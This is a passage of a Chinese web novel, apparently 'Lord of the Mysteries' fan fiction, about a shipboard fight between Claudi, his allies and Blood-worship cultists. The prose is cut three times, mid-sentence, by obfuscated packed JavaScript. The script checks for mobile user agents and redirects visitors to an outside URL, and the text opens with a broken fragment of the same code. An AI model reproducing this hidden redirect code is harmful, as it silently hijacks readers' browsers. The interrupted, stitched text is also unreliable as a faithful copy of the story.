0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320951|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的庇护范围,这应该有悖于这件非凡物品的使用条件。 但加德纳丝毫不觉得这有什么问题。 所以,贝里特身上存在某种特殊。 强悍的察言观色能力、对官方教会封印物情报的了解,以及这种微妙的特殊……隶属官方教会的非凡者,或是某个隐秘组织的成员? 克劳狄暗暗皱眉,但并没有将这种怀疑表现出来。他对加德纳和贝里特的秘密好奇度有限,不想因为不必要的刨根究底惹恼两人。现在他最关心的是怎么从那群邪教徒手里逃出去,多嘴试探完全是自找麻烦。 贝里特整理完手里的四副塔罗牌,起身把它们都揣进了一只魔术口袋。克劳狄撑起下巴,循着他行动的方向侧眸。刚刚的每一副牌他都在心里清点过。正常来讲,一副塔罗牌应该有78张,但贝里特的牌只有一副是完整的。 其他三副,每副都少了一张倒吊人。 贝里特用秘偶救下他的时候,那只秘偶扔出的牌面也是倒吊人。倒吊人对贝里特而言或许存在某种特殊含义。 “想什么呢?”加德纳“啪”一声在他眼前打了个响指,忽然错身挡住他的视线,“看着这家伙移不开眼是什么意思?他又不是美女。” 克劳狄回神:“没什么。只是觉得贝里特先生这些塔罗牌做工很精致,价格应该不便宜?” “确实不便宜,但这是必要的花费。” 贝里特放下魔术口袋回头,神态依旧温和,看不出什么跟隐秘组织有关系的端倪:“它既能保证平时的占卜所需,也能作为武器使用,还方便携带,不像枪支和刀剑那样引人注目。实在是居家旅行必备的防身利器。用塔罗牌做武器的占卜家途径非凡者不少,我并非个例。” 说话间,他抽出一张揣在胸口的金属牌夹在指尖为克劳狄示范,仿佛有意展示什么。克劳狄若有所觉地抬眼,只对上贝里特含笑的眸子。 牌面是四副牌里的最后一张倒吊人。 克劳狄微笑:“原来是这样。厉害。” 这张牌除了材质特殊、做工较好以外,其他方面没有任何异常,也没有被特殊加工成某种符咒的载体……贝里特这是看出了他的疑虑,在用这种最直接的方式向他表明立场? 表明,即使贝里特真的隶属某个隐秘组织,他也不会受到来自贝里特的威胁。正如对方一开始说的那样,他们面对拜血教的立场是一致的。拜血教那群人想杀他,而贝里特想解决拜血教。 “这没什么厉害的,”贝里特收起塔罗牌,“生存经验而已。在海上漂泊得久了,你就会遇到各种各样的人,在跟他们打交道的过程中或交友或结仇。然后你就会知道,自我保护是必须的。仇人们时时刻刻都想着趁你睡觉割掉你的脑袋。但我也并不总是用它杀人,就像凌晨时我选择救下你一样。对朋友,我只想帮他避开灾祸。” 这话说的是塔罗牌,又好像不只是塔罗牌。 克劳狄点点头:“的确如此。” 8. 海神教会 晚八点,克劳狄和加德纳摸黑离开储物间。 距离克劳狄获救已经过去了十七个小时,加德纳凭借风眷者强大的航海直觉推算,船只仅剩三十个小时抵达拉夏岛。 出舱的一瞬间,克劳狄感到一阵寒颤。迈向甲板的小腿猛然一抽,皮肤瞬间变得冰凉。这是怪物途径非凡者的危险预感在警示他,表明此时走到甲板上去,他可能会面临非常危险的处境。 “怎么了?”走在他后面的加德纳推他,“突然停住不动是干什么,外面有怪物?” 克劳狄犹豫了一下:“我们出去以后怎么熬过这四个小时?船上的空间就这么大,乘客们还都被他们强制安眠了。甲板上但凡出现一个活动的物体,他们都会有所察觉。” 贝里特告诉他,那群拜血教教徒手里有一份不眠者途径的非凡特性,疑似序列五灵巫的非凡特性。恶魔们用那份非凡特性催眠了船上的乘客们,这就是他凌晨感觉到的梦魇能力来源。现在船上活动的只剩下非凡者。 有一点异动,恶魔们都会第一时间赶来。 “你就那么害怕?”加德纳抱臂,“我当然有我的办法应付他们。走,别让我说第二次。” 克劳狄迟疑着迈出储物间。 回到室外的一瞬间,呼啸的海风扑面而来。天色已经再次由白转黑,但这次没有绯红月光。 他看见了漫天的繁星,和梦境中一样。海浪无止息地拍打着船身,乳白浮沫溅上甲板,留下一串串深黑色水渍。世界仿佛静默了。 加德纳跟在他身后走出舱室,小心翼翼地关好舱门,并用杂物将其掩盖。贝里特被单独关在非凡物品“黑暗角落”生效的空间,但并没有什么异样。反倒是舱室门口的时空轻微扭曲了一下。 克劳狄收回视线:“你们是打算提前解决掉船上一部分邪教徒的吧?抵达拉夏岛后,他们的队伍里会加入一位半神,到时候,仅凭你们两个中序列根本没有还手之力。” 加德纳惊奇地看他一眼,并不反驳:“你居然是真的聪明,不是装出来的?” 聪明这种事还能装吗? 克劳狄沉默了下,暗暗攥住船侧栏杆。加德纳抬脚就往甲板上走,他不太理解。甲板上视野开阔,是最容易被拜血教成员们发现的位置。 “你要把他们引过来?” 选择这条路线跟自爆位置没有区别。 “没错,”加德纳爽朗点头,“难道我什么时候说过要躲着他们吗?我们是来杀人的啊。” ……这是在爽朗什么啊? 克劳狄感到分外语塞:“那你们为什么不一开始就直接冲进他们的大本营跟他们打,还要动用‘黑暗角落’那种类型的非凡物品藏在储物间里多此一举?”那样的话,原主和原主的同伴说不定都不会死。他也不会穿到这艘船上受罪了。 他原先还以为加德纳有什么好办法能带他躲过敌方探查呢。没想到办法就是不躲,直接自爆位置等对面找上门来,再跟对方正面交锋。 加德纳实力强悍有恃无恐,可他是个谁都打不过的序列八啊。他这样自爆不是找死吗? 加德纳抓住他:“我和贝里特没能力一次性杀光他们所有人,总得有个地方休息治伤和恢复体力吧。房间用来休息,所以要隐蔽、不受人打扰。很合理。但走出房间以后就该干正事了,杀光他们、把船只安全开回迪西港就是我们在这艘船上的正事。我知道你在想什么。放心,我不会让你死在这儿的,到拉夏岛后你还有用。” “我怎么放心?”克劳狄整个人都不好了,“你自己去吧,我找个角落蹲一会。” 然而加德纳一把把他拽回:“你觉得他们就不会用灵视测试船上的情况吗?物理上的躲藏起不到任何作用,没有神秘学意义上的隐秘,你做什么都是白费时间。走,别让我说第二次。” “我不……”克劳狄的挣扎终结于加德纳亮出的拳头,“好好我走,你松开我。” 两人从容不迫——主要是加德纳从容不迫,克劳狄是完全被迫——地踏上了前往甲板上方的楼梯台阶。克劳狄理理衣领,警惕十足地跟上加德纳。那股危险的预感越发强烈了,就连黑沉沉的水域下方都似乎有杀机郁结。 仔细看的话,浪花里还荡着诡异的黑影。像是逐渐往船舱下方聚集的鱼群。 克劳狄紧了紧抓在栏杆上的双手:“这片海里的生物吃人吗?会不会攻击我们的客船?” 加德纳背对着他,脚步不停:“吃人的海洋生物的确有,但攻击客船不至于。而且我们坐的这艘船是今年刚投入使用的新型客船,融合了军用铁甲舰的制造技术,即使真的受到攻击,也不会有沉船的风险。除非遭遇海神降下的雷霆。” 克劳狄紧张的心情稍稍缓解了。 听加德纳提到“海神”,他不自觉顿了一下。这个世界的正统信仰里好像没有海神。没忍住就多问了句:“你和贝里特都信仰海神?” 难道海神就是加德纳和贝里特背后那个组织供奉和追随的对象? 加德纳顿了顿,回头看他:“我是,贝里特不是。那家伙信仰愚者。我曾经试图说服他改信我们海神教会,但他不仅没同意,还用一种看待傻子的眼神看我。真想揍他一顿,可惜打不过他。话说你有没有兴趣皈依我们海神教会?” 两人已经来到了甲板上,眼看要到视野开阔的地带。克劳狄“呃”声:“这就不了吧。” 虽然他一直在有意拉近自己和加德纳、贝里特两人的关系,但这种事情感觉还是不能胡乱应承。这个世界是真实存在神秘力量的。万一海神觉得他渎神给他一闪电就麻烦了。 “好吧。”加德纳遗憾摊手,也不强求。海天一线间,克劳狄看他掏出一只吊坠:“一会儿如果场面过于混乱,你就吹响这只海螺。会有海底生物响应召唤过来帮你。” 吊坠上坠着一只成年男性拇指大小的海螺。克劳狄接过它端详:“非凡物品?” “它的作用效果只能持续两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320952|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时,但事后的副作用会持续十二个小时。鉴于我们要在甲板上待满四个小时,我建议,能不使用它就尽量先不要使用它。就算要用,也留到最后两个小时再用。但如果你实在坚持不了,用就用吧。” “等等,”克劳狄觉得不对,“就不能你先用两个小时,我再用两个小时吗?” 这样一来,两人先后使用非凡物品的时间可以完美重叠在甲板上的时间。他们就不用正面应付那群拜血教教徒了。 加德纳瞥他:“我的目标是杀人。它的代价是使用它驱使海中生物后的十二个小时里,你会持续浑身麻痒无法动弹。你觉得呢?” “好吧……” 代价这么大,确实需要谨慎使用。 克劳狄挂起海螺吊坠,缩到加德纳背后。他也不是很想承受浑身麻痒无法动弹十二个小时的代价。在身体瘙痒的情况下动弹不得,简直是酷刑。这种事恐怕没有人类能承受得住。 这样看来,他现在只能依靠加德纳了。 随着天幕的暗沉,海面下方逐渐传来一阵窸窸窣窣的声音。黑暗处响起了脚步声,大概是拜血教的教徒们察觉了异动。加德纳从呼啸风声里回头,轻轻“咦”了一声:“还不动手?” 话音刚落,克劳狄脚下的空间被撕裂。 他猛地跳开一步,刚要开口,耳边传来一声刺耳的枪响。加德纳飞起将他拉开:“之前没发现他们手里有热武器啊。躲远点!” 又是一声枪响,克劳狄被迫撞上栏杆。他本来想说“也许是特地拿出来对付你的”,却从对面第二枪的子弹轨迹中发现了不对:“怎么好像是冲我来……” “砰”的一声,他本能闪躲,跟加德纳拉开距离。子弹擦着他的脸颊飞过。 他不可思议地接住一缕被擦断的头发:“不会吧,真是冲我来的!” …… 储物间里,贝里特将双手贴合在剔透的玻璃球表面。原本的幽幽微光变得明亮,近乎刺眼。 桌面上放置了一串祈祷仪式的材料,房屋因为仪式香薰的火苗变得灼热。 男人沉着阖眸,神态虔诚:“不属于这个时代的愚者,灰雾之上的神秘主宰,执掌好运的黄黑之王……我祈求您将我的话音传递至‘倒吊人’先生耳畔。” “尊敬的‘倒吊人’先生,我并未在船上发现封印物0-47的踪迹。我们多次试探,拜血教教众始终没有全力应战,似乎有所顾忌。鉴于此,我怀疑0-47已经从他们手中逃脱。船只将在三十个小时后抵达拉夏,与拜血教半神汇合,我需要新的帮手。船上的红手套们已全部殉职。” 火苗微微摇动,贝里特停顿了一下,忽然又迟疑地补充:“不,准确来说,他们并没有全部殉职。我从拜血教成员手里救下了那个名叫克劳狄·奥兰多的机器,但他的命运似乎受到了不正常的扰动。据拜血教成员描述,他是在被杀死后复活的。我无法判断该如何应对这件事,希望能得到您的明确指示。圣杯六敬上。” 9.欲望使徒 “审讯者。” 对面那三枪让加德纳冷下脸色。躲闪间,他迅速判断出对方的身份和实力——拜血教队伍里唯一的非罪犯途径序列七。 这让他毫不犹豫地腾空甩出一记风刃。 审判者途径中低序列的非凡能力依赖于人群的信赖度强化,但这个审讯者跟拜血教教徒们同行,脱离源自辖区的信赖加成,只能单纯依靠基础的非凡能力和枪械、格斗技巧作战。这将大大限制他的发挥,加德纳根本不把他放在眼里。 阴影处立时有人收枪躲避。风刃“砰”一声劈空,在铁船的金属外墙上爆裂出深深的凹痕。 审讯者狼狈滚地,又迅速拾枪,转而对着飞掠而来的加德纳扣下扳机。 昨晚他们就已经跟加德纳交过手,很清楚加德纳的实际水平。普通序列六的能力没他这么恐怖。或许他已经彻底完成对风眷者魔药的消化,甚至还负有某种神之恩眷,各项能力都得到了惊人的强化,综合战斗力远超序列六。 他一个脱离辖区的审讯者,在海上面对这样一个经过加强的风眷者,根本没有胜算。 子弹“砰”一声落上甲板,加德纳的行动路径因此偏移了一步。男人立时抓住机会,发挥出精神穿刺的同时咬牙高呼:“法斯特!” 恐怖的恶魔召唤物轰然具现。 然而出乎他的意料,那一串串长鞭般的“骨蛇”并没有攻击蓝发飞扬的风眷者,反而在空气中绕过一圈,直刺向船侧栏杆处的克劳狄。加德纳得以迅速摆脱僵直,强忍痛苦猛抓住他枪身一扭。他本能扣动扳机,子弹落进侧窗,噼里啪啦地击落了一串破璃碎片。藏身在那里的连环杀手也被迫跳上甲板,狼狈护目:“瞄谁呢,蠢货!” 但逼出了连环杀手,加德纳就没时间再去管攻向克劳狄的“骨蛇”了。白骨般的拼合怪物兜头劈下,直像一柄坚利的宝剑。克劳狄不得不贴着栏杆滚过一圈,往离加德纳更远的方位闪避。 “骨蛇”嘶然砸断栏杆。克劳狄于三米外重新落地。没等他喘口气,直觉又向他预警了新的杀机,他想都没想便勾住船沿滑出——果然看到一枚亮闪闪的子弹穿进自己刚刚停留的位置。 克劳狄眸光微闪,凝眸转头。 加德纳迅速逼近连环杀手,迫使他回收召唤物自卫。“骨蛇”因此更换了攻击对象。风眷者以一敌二,姿态却显得很轻松。所以刚刚射向他的那枚子弹并不来自远处的审讯者,而是来自…… “砰——” 克劳狄闪身躲过,猛扑进拐角处。 枪口后方,一名头戴圆顶礼帽的“罪犯”愕然跟他对上视线。这家伙显然没料到他会这么快看清局势,一时间有些慌神,想都没想就快速扣动扳机,对着他的要害部位连开四枪。 这种做法看起来火力凶猛,但其实再愚蠢不过。一次性放空弹匣里所有的子弹,等同于帮敌方提高了闪避成功率,也把自己的枪支拖入了需要装弹的真空期。克劳狄据此判断,眼前的“罪犯”智力不高,不难对付。 他轻易躲过这四枪,飞速逼近对方。仿佛一只轻巧的海燕,不被一丝一毫的硝烟沾身。 “难怪他非要我跟他一起来,”克劳狄猛袭向男人手腕,“差点忘了你们队伍里也有两个低序列。还有一个人在哪?” 男人猝不及防被卡住手腕,卸力松手。枪支落向地面。克劳狄伸手接枪,但另一道黑影毫无征兆地疾行而至。他不得不抽身闪避。 一道轻微的金属碰撞声落地,克劳狄退至栏杆前方站定:“也是序列八?” 偷袭者冷冷抬头,转手就贴着地面将刺空的匕首往克劳狄的脚踝部位送。青色毒雾随着他出招的动作在空气中爆开,这足以代替言语回应克劳狄的问题,他是罪犯途径序列八的冷血者。 克劳狄只能错身屏息,躲闪的同时跃起一脚,狠狠踹向先前那名戴帽“罪犯”的胸口。 他自身也是序列八,但怪物途径序列八的对敌手段不如罪犯途径的多样。加德纳一打二都是打的两个低于自身层次的,让他打一个序列八加一个序列九……实在有点勉强。 他几乎是不假思索地打消了战意,拧身就往加德纳所在的战场方向跑。 让他独自面对这两个家伙,他还不如回去跟加德纳一起面对那两个序列七呢! 戴帽者被踹出好几米,整个人砸在船头的栏杆上。血水顺着他遭受重击的后腰滴落,在船头氤氲出一片深红。但他的同伴没有理会他,一击落空就再次蓄出一击,整个人扑向克劳狄。 “迟缓”能力发动,克劳狄迈向加德纳的双腿猛然顿住,动作被放慢无数倍。亮闪闪的匕首破空而至,直刺进克劳狄刚刚愈合不久的伤口。 冷血者眼底浮现出一丝残忍的笑意。 然而出乎他意料的是,克劳狄的嘴角也在他的匕首刺过去后微微上扬。“砰”的一声,恐怖的枪声不期而至,他的手腕中了一枪。 如果不是他躲得快,这一枪打的就是心脏。 冷血者不可置信地抬头。克劳狄居然同时预判了他的动作、远处审讯者的枪口摆动,以及他发动“迟缓”攻击的时间点,故意引导他扑到流弹的运动轨迹上! 机器的计算能力居然是这么用的吗? 先前队伍里的连环杀手说这家伙不正常,他还不太相信。现在看来,他错了。 迟缓作用因为冷血者的精神震动自然解除。克劳狄的行动速度重又恢复。 他并没有意识到自己这一手带给了敌人怎样的震撼,只平静地急退两步,落在中序列与低序列战场的交界地带开口:“再过来的话,那三位的战斗会波及到你。我能保证我的同伴会保护我,你能保证你们那两位会顾及你们的死活?” 罪犯的手枪已经被克劳狄趁乱踹进了海里。冷血者缓慢起身,神情愠怒地抓紧栏杆。 像是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323417|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了印证克劳狄的话,那三名中序列的攻击时刻都在向外延伸。但加德纳有意保护克劳狄,每每审讯者和连环杀手把攻击转向克劳狄,都会被加德纳提前拦截。冷血者心里很清楚,自己的同伴不会为自己做这种事。而且也做不到。 那名罪犯已经拖着伤体跟上来。冷血者迟疑了一秒,猛地抓住同伙往前一推。锐利的风刃立时就扑面而至,直剜向罪犯的肩膀。 倒霉的序列九翻滚两圈,险险在栏杆边缘停住。冷血者毫不怀疑,这家伙但凡反应慢一秒,现在就是失去一条胳膊的下场。 那人居然真的还有空闲管克劳狄! 他的面孔扭曲了一下。 克劳狄平静看他,竟然也不出手攻击。只是漠然垂眸:“这样还不说话,跟你们聊天真没意思。其实我不明白你们为什么非要杀我。你们的同伴已经知道我不是先前那个克劳狄了。我们之间应该没有直接的利益冲突才对。” 夜风穿过损坏的船窗,带出一阵呜呜怪响。被乌云笼罩的绯月终于穿破云层,重新向海面洒露辉光。克劳狄的影子因此被拉长,像一只张牙舞爪的怪物。红色月光恍若满地血腥。 冷血者扯扯嘴角,终于说了跟克劳狄照面以来的第一句话:“0-47的报复不光是我们承受不起,你和那两只老鼠也承受不起。” 但克劳狄有点听不懂:“什么?” “它在哪?你的同伴把它藏在了哪里?” 它……封印物0-47?原主和原主的同伴从这群人手里夺走了那玩意?克劳狄微微拧眉。原主的日记里可没有提过这件事,他和加德纳、贝里特都以为那玩意还在这群拜血教成员手里。 没想到它居然遗失了。 据说这件封印物具备活着的特性,而且很记仇,脱离封印后会造成难以估量的恐怖后果。如果对方没有说谎,那他们和五名拜血教成员很可能会被0-47无差别杀死在这艘船上。 他严肃了表情:“之前的事情我已经不记得了。如果你们恐惧它的报复,我觉得我们可以暂时先休战,联手解决这个问题。” “联手?”这个词似乎踩中了某个令冷血者发笑的关键点。他古怪地笑出声:“你疯了?” 不知道为什么,从他穿越以来,原主和这群拜血教成员就始终表现出一种立场对立的架势。加德纳和贝里特也默认他和这群人没法和谈。 克劳狄皱了皱眉,想再追问两句。 然而没等他开口,一股比之前更为阴森的气息爬上他的脊背。恐怖的阴影兜头砸下,灵性甚至都还没来得及做出危险示警,他就被一只散发着强烈腐臭的利爪掼倒在地。 身体砸在船侧地板上的剧痛让他一时失声,眼前炸开星星点点的白幕。世界在这一瞬间变成色彩驳杂的颜料桶,他在天旋地转中看见一道恐怖的影子在自己眼前具现。 一道顶着山羊弯角,背生蝙蝠双翼的影子。